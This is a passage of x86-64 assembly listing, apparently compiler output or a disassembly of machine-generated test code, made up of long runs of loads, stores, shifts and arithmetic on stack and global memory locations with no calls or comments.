or eax, ecx
mov byte [rsp + 0x18f], al
movsx eax, word [rsp + 0x119c]
mov rcx, qword [0x1401e87d0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401e8c58]
mov word [rcx], ax
lea rax, [rsp + 0x1158]
mov qword [rsp + 0xc650], rax
mov rax, qword [rsp + 0xc450]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbfe0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc040]
mov byte [rcx], al
mov rax, qword [rsp + 0xa988]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x206]
and eax, ecx
mov byte [rsp + 0x1c7], al
mov rax, qword [rsp + 0x9e70]
mov rax, qword [rax]
mov qword [rsp + 0xc658], rax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x52a0], eax
lea rax, [rsp + 0x4f44]
mov qword [rsp + 0xc660], rax
mov rax, qword [rsp + 0xa4d0]
mov rcx, qword [rsp + 0x8d08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9080]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e48]
movzx eax, word [rax]
mov word [rsp + 0x1678], ax
movsx eax, word [rsp + 0x14c0]
mov rcx, qword [rsp + 0xad28]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7198], ax
movsx eax, word [rsp + 0x1200]
movsx ecx, word [rsp + 0x1050]
sub eax, ecx
mov word [rsp + 0x1364], ax
movzx eax, byte [rsp + 0x88]
movzx ecx, byte [rsp + 0x205]
and eax, ecx
mov byte [rsp + 0x180], al
movzx eax, byte [rsp + 0x198]
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0xa7e0]
mov rcx, qword [rsp + 0xb278]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9a08], rax
lea rax, [rsp + 0x500c]
mov qword [rsp + 0xc668], rax
mov rax, qword [rsp + 0xab70]
mov rcx, qword [rsp + 0xbb20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x53f4], eax
mov rax, qword [rsp + 0x9a70]
mov rcx, qword [rsp + 0xbb28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa660], rax
lea rax, [rsp + 0x132]
mov qword [rsp + 0xc670], rax
mov rax, qword [rsp + 0xabe8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f50]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7198], ax
movzx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0xa3a0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa0a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb118]
movzx eax, word [rax]
mov word [rsp + 0x167c], ax
mov rax, qword [0x1401e8808]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x169]
or eax, ecx
mov byte [rsp + 0x91], al
mov rax, qword [rsp + 0xbea8]
mov ecx, dword [rsp + 0x52e0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5114], eax
mov rax, qword [rsp + 0xbed0]
mov eax, dword [rax]
mov dword [rsp + 0x548c], eax
mov rax, qword [rsp + 0xa3d8]
mov rcx, qword [rsp + 0xa178]
mov qword [rsp + 0xc678], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc678]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x90d0], rax
mov rax, qword [rsp + 0xb1c8]
mov rax, qword [rax]
mov qword [rsp + 0xc680], rax
mov rax, qword [rsp + 0x9dc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x144]
and eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0xc3a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11b0]
add eax, ecx
mov word [0x1401e719c], ax
movsx eax, word [rsp + 0x1614]
movsx ecx, word [rsp + 0x10f4]
sub eax, ecx
mov rcx, qword [rsp + 0xb760]
mov word [rcx], ax
lea rax, [rsp + 0x1ba]
mov qword [rsp + 0xc688], rax
movzx eax, word [rsp + 0x10d4]
mov rcx, qword [rsp + 0x98a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1380], ax
lea rax, [rsp + 0x96]
mov qword [rsp + 0xc690], rax
mov rax, qword [rsp + 0x96d8]
mov rcx, qword [rsp + 0xab20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x97b8], rax
lea rax, [rsp + 0x9ac0]
mov qword [rsp + 0xc698], rax
mov rax, qword [rsp + 0xaf18]
mov rcx, qword [rsp + 0xc228]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9dd8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5274]
imul eax, dword [0x1401e7008]
mov dword [rsp + 0x5334], eax
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0xaf10]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401e89b0]
mov word [rcx], ax
lea rax, [rsp + 0x1064]
mov qword [rsp + 0xc6a0], rax
movzx eax, byte [rsp + 0xeb]
movzx ecx, byte [rsp + 0x1c9]
sub eax, ecx
mov rcx, qword [rsp + 0xba48]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11a]
mov byte [rsp + 0x22b], al
mov rax, qword [rsp + 0xbc38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1414]
add eax, ecx
mov word [rsp + 0x15fc], ax
mov rax, qword [rsp + 0xb6b8]
mov rcx, qword [rsp + 0x8e40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbdf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa690]
mov qword [rsp + 0xc6a8], rax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0xb2d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa4e0]
mov dword [rcx], eax
lea rax, [rsp + 0x4eb4]
mov qword [rsp + 0xc6b0], rax
mov rax, qword [rsp + 0xbf98]
movzx eax, word [rax]
mov word [0x1401e8ee4], ax
movzx eax, word [rsp + 0x1330]
mov rcx, qword [rsp + 0x9528]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc650]
mov word [rcx], ax
movsx eax, byte [rsp + 0x216]
movsx ecx, byte [rsp + 0x128]
xor eax, ecx
mov byte [rsp + 0x170], al
lea rax, [rsp + 0x109c]
mov qword [rsp + 0xc6b8], rax
mov rax, qword [rsp + 0xba48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc9]
shl eax, cl
mov rcx, qword [rsp + 0xbd40]
mov byte [rcx], al
lea rax, [rsp + 0x4fc0]
mov qword [rsp + 0xc6c0], rax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0xad08]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9cb0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9378]
mov eax, dword [rax]
mov dword [rsp + 0x5490], eax
mov rax, qword [rsp + 0xa4d0]
mov rcx, qword [rsp + 0xa190]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbd98], rax
movzx eax, byte [0x1401e87f6]
mov rcx, qword [rsp + 0x9868]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x9b70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1498]
add eax, ecx
mov word [rsp + 0x1204], ax
movzx eax, byte [rsp + 0xf9]
mov byte [rsp + 0x22c], al
movsx eax, byte [0x1401e705f]
movsx ecx, byte [rsp + 0x128]
sub eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0xc108]
movzx eax, word [rax]
mov word [rsp + 0x1680], ax
mov rax, qword [rsp + 0x8df8]
mov rcx, qword [rsp + 0x9578]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb0a0], rax
mov rax, qword [rsp + 0xa0b8]
mov rcx, qword [rsp + 0x8e58]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb020]
mov qword [rcx], rax
lea rax, [rsp + 0x541c]
mov qword [rsp + 0xc6c8], rax
mov rax, qword [rsp + 0xb5b8]
mov ecx, dword [rsp + 0x4ff8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc4d8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x106]
movzx ecx, byte [rsp + 0x15b]
sub eax, ecx
mov byte [0x1401e70ca], al
movzx eax, word [rsp + 0x125c]
mov word [rsp + 0x1684], ax
mov rax, qword [rsp + 0x9ad0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa9f0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x21f], al
mov rax, qword [rsp + 0x8d90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb828]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8e20]
mov word [rcx], ax
movzx eax, byte [rsp + 0x17f]
mov byte [rsp + 0x22d], al
mov rax, qword [rsp + 0xbd48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x50dc]
shl eax, cl
mov rcx, qword [rsp + 0xa9d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov qword [rsp + 0xc6d0], rax
mov rax, qword [rsp + 0xc510]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92a8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xad90], rax
mov rax, qword [rsp + 0xbaa0]
mov ecx, dword [rsp + 0x5294]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5144], eax
movzx eax, word [rsp + 0x1254]
movzx ecx, word [rsp + 0x11b4]
and eax, ecx
mov word [0x1401e71a0], ax
lea rax, [rsp + 0x1468]
mov qword [rsp + 0xc6d8], rax
movzx eax, byte [0x1401e7056]
mov rcx, qword [rsp + 0x9df0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbde8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc068]
movzx eax, byte [rax]
mov byte [rsp + 0x22e], al
movzx eax, word [rsp + 0x10d4]
movzx ecx, word [rsp + 0x161c]
sub eax, ecx
mov word [rsp + 0x1118], ax
mov rax, qword [rsp + 0xbd68]
mov qword [rsp + 0xc6e0], rax
mov rax, qword [rsp + 0x9368]
mov rcx, qword [rsp + 0xb4e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb160], rax
mov eax, dword [rsp + 0x5300]
mov ecx, dword [rsp + 0x5264]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e54], eax
lea rax, [rsp + 0x4e7c]
mov qword [rsp + 0xc6e8], rax
movsx eax, word [rsp + 0x1644]
movsx ecx, word [rsp + 0x1468]
add eax, ecx
mov word [0x1401e7080], ax
mov rax, qword [rsp + 0xa0a0]
movzx eax, byte [rax]
mov rcx, qword [0x1401e88c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x131], al
movzx eax, word [rsp + 0x15d4]
mov word [rsp + 0x1688], ax
movsx eax, word [rsp + 0x1420]
movsx ecx, word [rsp + 0x11a4]
add eax, ecx
mov word [rsp + 0x13a8], ax
mov rax, qword [rsp + 0xa970]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e7082]
and eax, ecx
mov byte [rsp + 0x185], al
lea rax, [rsp + 0x5124]
mov qword [rsp + 0xc6f0], rax
mov rax, qword [rsp + 0xb4c0]
mov ecx, dword [rsp + 0x4d88]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc3d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa048]
mov rax, qword [rax]
mov qword [rsp + 0xc6f8], rax
mov rax, qword [rsp + 0x95e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401e7018]
shl rax, cl
mov qword [rsp + 0xaf38], rax
mov rax, qword [rsp + 0xc078]
movzx eax, byte [rax]
mov byte [0x1401e88c7], al
movzx eax, word [rsp + 0x1358]
mov rcx, qword [rsp + 0xa340]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x130c], ax
movzx eax, word [rsp + 0x14e0]
mov word [rsp + 0x168c], ax
movsx eax, byte [rsp + 0x18b]
mov rcx, qword [rsp + 0xac88]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xab30]
mov byte [rcx], al
lea rax, [rsp + 0x19a]
mov qword [rsp + 0xc700], rax
mov eax, dword [0x1401e7004]
mov ecx, dword [rsp + 0x52b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fc8], eax
mov rax, qword [rsp + 0xa5a8]
mov rax, qword [rax]
mov qword [rsp + 0xc708], rax
mov rax, qword [rsp + 0x9378]
mov ecx, dword [rsp + 0x4fc4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc3c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa08]
mov rcx, qword [rsp + 0xbd68]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb550]
mov qword [rcx], rax
mov rax, qword [rsp + 0xab50]
movzx eax, byte [rax]
mov byte [rsp + 0x22f], al
movzx eax, byte [rsp + 0x164]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e7077], al
movsx eax, word [0x1401e70fc]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc3e0]
mov word [rcx], ax
lea rax, [rsp + 0x1684]
mov qword [rsp + 0xc710], rax
movsx eax, word [rsp + 0x13fc]
movsx ecx, word [rsp + 0x1668]
add eax, ecx
mov word [rsp + 0x119c], ax
mov rax, qword [rsp + 0xadf0]
mov rcx, qword [rsp + 0xa7f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc058], rax
mov eax, dword [rsp + 0x50ac]
mov dword [rsp + 0x5494], eax
mov rax, qword [rsp + 0x8fd0]
mov rcx, qword [rsp + 0xc008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc478], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0xc718], rax
mov rax, qword [rsp + 0x9df0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb000]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x219], al
mov rax, qword [rsp + 0x8ea8]
movzx eax, word [rax]
movzx ecx, word [0x1401e70c4]
add eax, ecx
mov rcx, qword [0x1401e8b58]
mov word [rcx], ax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x108]
sub eax, ecx
mov rcx, qword [rsp + 0xa518]
mov byte [rcx], al
lea rax, [rsp + 0x1328]
mov qword [rsp + 0xc720], rax
mov rax, qword [rsp + 0x8ff8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e888a]
xor eax, ecx
mov byte [rsp + 0x14a], al
mov rax, qword [rsp + 0x9c70]
mov qword [rsp + 0xc728], rax
mov eax, dword [rsp + 0x4f98]
mov rcx, qword [rsp + 0xaa68]
mov qword [rsp + 0xc730], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc730]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xb558]
mov dword [rcx], eax
mov eax, dword [rsp + 0x53c8]
movzx ecx, al
mov eax, dword [rsp + 0x4e78]
shl eax, cl
mov rcx, qword [rsp + 0xa578]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9730]
mov qword [rsp + 0xc738], rax
mov rax, qword [rsp + 0x8d90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc498]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xffc], ax
mov rax, qword [rsp + 0xb250]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb8e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401e71a4], ax
movzx eax, byte [rsp + 0x198]
mov byte [rsp + 0x230], al
mov rax, qword [rsp + 0x99b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb918]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10e0], ax
lea rax, [0x1401e709a]
mov qword [rsp + 0xc740], rax
mov rax, qword [rsp + 0xbea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5058]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf18]
mov rcx, qword [rsp + 0x9778]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x97a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9440]
mov qword [rsp + 0xc748], rax
mov rax, qword [rsp + 0xa328]
mov rcx, qword [rsp + 0x94e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fc8], rax
lea rax, [rsp + 0x1520]
mov qword [rsp + 0xc750], rax
mov rax, qword [rsp + 0x9b60]
movsx eax, word [rax]
movsx ecx, word [0x1401e70a4]
sub eax, ecx
mov word [0x1401e8790], ax
mov rax, qword [rsp + 0xadd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc7]
add eax, ecx
mov byte [rsp + 0x8d], al
mov rax, qword [rsp + 0xb098]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
add eax, ecx
mov byte [rsp + 0x142], al
lea rax, [rsp + 0x167]
mov qword [rsp + 0xc758], rax
movsx eax, byte [rsp + 0xfd]
mov rcx, qword [rsp + 0xa430]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfe], al
lea rax, [rsp + 0xbc28]
mov qword [rsp + 0xc760], rax
mov rax, qword [rsp + 0x9800]
mov rcx, qword [rsp + 0xbbd0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9790], rax
mov eax, dword [rsp + 0x50c8]
mov rcx, qword [rsp + 0x9678]
mov qword [rsp + 0xc768], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc768]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xa318]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8e8]
mov eax, dword [rax]
mov dword [rsp + 0x5498], eax
mov rax, qword [0x1401e8ce8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba30]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e71a8], ax
movzx eax, byte [rsp + 0x22c]
mov rcx, qword [rsp + 0x95d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x88], al
mov rax, qword [rsp + 0x8f50]
movzx eax, word [rax]
mov word [rsp + 0x1690], ax
mov rax, qword [rsp + 0xa120]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1440], ax
movsx eax, word [rsp + 0x14e0]
movsx ecx, word [rsp + 0x12c8]
sub eax, ecx
mov word [rsp + 0x1130], ax
mov rax, qword [rsp + 0xa7b8]
mov qword [rsp + 0xc770], rax
mov eax, dword [rsp + 0x5288]
mov ecx, dword [rsp + 0x5470]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbcc8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4d50]
mov dword [rsp + 0x549c], eax
mov rax, qword [rsp + 0x9e10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc640], rax
mov rax, qword [rsp + 0x9868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc198]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e8a08]
mov byte [rcx], al
movzx eax, word [rsp + 0x1484]
mov word [rsp + 0x1694], ax
movsx eax, byte [rsp + 0xad]
movsx ecx, byte [rsp + 0xce]
and eax, ecx
mov byte [rsp + 0xcb], al
movsx eax, byte [rsp + 0xcc]
movsx ecx, byte [rsp + 0x1a1]
add eax, ecx
mov byte [rsp + 0x134], al
lea rax, [rsp + 0xe2]
mov qword [rsp + 0xc778], rax
mov rax, qword [rsp + 0xc228]
mov ecx, dword [rsp + 0x53ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc4a0]
mov dword [rcx], eax
lea rax, [rsp + 0x5364]
mov qword [rsp + 0xc780], rax
mov rax, qword [rsp + 0xa2f0]
mov rcx, qword [rsp + 0xa388]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xac90]
mov qword [rcx], rax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9fa0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb880], rax
lea rax, [rsp + 0x22e]
mov qword [0x1401e8ee8], rax
movzx eax, byte [rsp + 0x1c7]
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0xb618]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb260]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa008]
mov word [rcx], ax
lea rax, [rsp + 0x1234]
mov qword [rsp + 0xc788], rax
movsx eax, word [rsp + 0x1078]
mov rcx, qword [rsp + 0xb3e8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x168c], ax
mov rax, qword [rsp + 0x8ee8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc200]
shl rax, cl
mov rcx, qword [rsp + 0xb110]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc540]
mov qword [rsp + 0xc790], rax
mov rax, qword [rsp + 0xbba0]
mov rcx, qword [rsp + 0xaa90]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xbb78]
mov dword [rcx], eax
lea rax, [rsp + 0x4fcc]
mov qword [rsp + 0xc798], rax
movzx eax, byte [0x1401e87a2]
mov rcx, qword [rsp + 0xc2e0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e70cb], al
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc388]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13d0], ax
lea rax, [rsp + 0x167]
mov qword [rsp + 0xc7a0], rax
mov rax, qword [0x1401e8a40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11e0]
sub eax, ecx
mov word [rsp + 0x14b8], ax
mov rax, qword [rsp + 0xbd10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13e8]
sub eax, ecx
mov word [rsp + 0x15e0], ax
mov rax, qword [rsp + 0x9820]
mov rax, qword [rax]
mov qword [rsp + 0xc7a8], rax
mov eax, dword [rsp + 0x53e8]
mov ecx, dword [rsp + 0x533c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f88], eax
mov rax, qword [rsp + 0xb198]
mov rax, qword [rax]
mov qword [rsp + 0xc7b0], rax
mov rax, qword [rsp + 0xc798]
mov ecx, dword [0x1401e7004]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x53f8], eax
movsx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0x9190]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401e87b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xae80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9160]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1004], ax
lea rax, [0x1401e70ca]
mov qword [rsp + 0xc7b8], rax
mov rax, qword [rsp + 0x9e58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa258]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa568]
mov byte [rcx], al
mov rax, qword [rsp + 0x99d8]
movzx eax, word [rax]
mov word [rsp + 0x1698], ax
mov rax, qword [rsp + 0xbe60]
mov rcx, qword [0x1401e7028]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc1a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa9e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9738]
mov qword [rsp + 0xc7c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc7c0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4ebc], eax
mov rax, qword [rsp + 0xa5b8]
mov rax, qword [rax]
mov qword [rsp + 0xc7c8], rax
mov rax, qword [rsp + 0x95c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x52d0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e74], eax
mov rax, qword [rsp + 0xa708]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1324]
shl eax, cl
mov word [0x1401e7074], ax
lea rax, [rsp + 0x93]
mov qword [rsp + 0xc7d0], rax
movsx eax, byte [rsp + 0x12b]
movsx ecx, byte [rsp + 0x99]
xor eax, ecx
mov byte [rsp + 0xc3], al
movzx eax, word [rsp + 0x146c]
mov rcx, qword [rsp + 0xb800]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x13e0], ax
movzx eax, byte [rsp + 0x16f]
mov byte [rsp + 0x232], al
mov rax, qword [rsp + 0x9380]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc540], rax
mov rax, qword [rsp + 0xc6f0]
mov eax, dword [rax]
mov dword [rsp + 0x54a0], eax
mov rax, qword [rsp + 0x9c18]
mov ecx, dword [rsp + 0x5390]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5168], eax
mov rax, qword [rsp + 0xa748]
mov qword [rsp + 0xc7d8], rax
lea rax, [rsp + 0x16c]
mov qword [0x1401e8ef0], rax
movzx eax, byte [rsp + 0x1a6]
movzx ecx, byte [rsp + 0x130]
add eax, ecx
mov byte [rsp + 0xef], al
movsx eax, word [rsp + 0x1014]
movsx ecx, word [rsp + 0x1504]
sub eax, ecx
mov rcx, qword [rsp + 0xad28]
mov word [rcx], ax
movzx eax, word [rsp + 0x11a8]
mov word [rsp + 0x169c], ax
mov rax, qword [rsp + 0xa1e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11ac]
sub eax, ecx
mov word [rsp + 0x1194], ax
mov rax, qword [rsp + 0x9778]
mov eax, dword [rax]
mov dword [rsp + 0x54a4], eax
mov rax, qword [rsp + 0xa610]
mov rcx, qword [rsp + 0xb580]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5190], eax
mov rax, qword [rsp + 0x9478]
mov rcx, qword [rsp + 0xb5e8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c80]
mov qword [rsp + 0xc7e0], rax
mov rax, qword [rsp + 0xc7a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e9]
sub eax, ecx
mov byte [rsp + 0x148], al
movzx eax, byte [rsp + 0xbb]
mov byte [0x1401e88da], al
lea rax, [rsp + 0x1040]
mov qword [rsp + 0xc7e8], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb8b8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x13a8], ax
movzx eax, byte [rsp + 0x93]
movzx ecx, byte [rsp + 0x229]
shl eax, cl
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0x9fb0]
mov eax, dword [rax]
mov dword [rsp + 0x54a8], eax
mov rax, qword [rsp + 0xa2e0]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc638], rax
lea rax, [rsp + 0xac98]
mov qword [rsp + 0xc7f0], rax
mov rax, qword [rsp + 0x9000]
mov ecx, dword [rsp + 0x5380]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x51fc], eax
mov rax, qword [rsp + 0xad10]
movzx eax, word [rax]
mov word [rsp + 0x16a0], ax
mov rax, qword [rsp + 0x9690]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19e]
add eax, ecx
mov byte [0x1401e705b], al
mov rax, qword [rsp + 0xc208]
movsx eax, word [rax]
movsx ecx, word [0x1401e70d0]
and eax, ecx
mov word [rsp + 0x1030], ax
movsx eax, byte [rsp + 0x220]
mov rcx, qword [rsp + 0xc138]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7c], al
lea rax, [rsp + 0x1118]
mov qword [rsp + 0xc7f8], rax
mov rax, qword [rsp + 0xa4c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5040]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5028], eax
lea rax, [rsp + 0x9910]
mov qword [rsp + 0xc800], rax
mov rax, qword [rsp + 0xbb30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5434]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d50], eax
mov rax, qword [rsp + 0x9d90]
mov rcx, qword [rsp + 0xbab0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb4a0], rax
lea rax, [rsp + 0xb3]
mov qword [rsp + 0xc808], rax
lea rax, [rsp + 0x1224]
mov qword [0x1401e8ef8], rax
mov rax, qword [rsp + 0xc5d8]
movzx eax, word [rax]
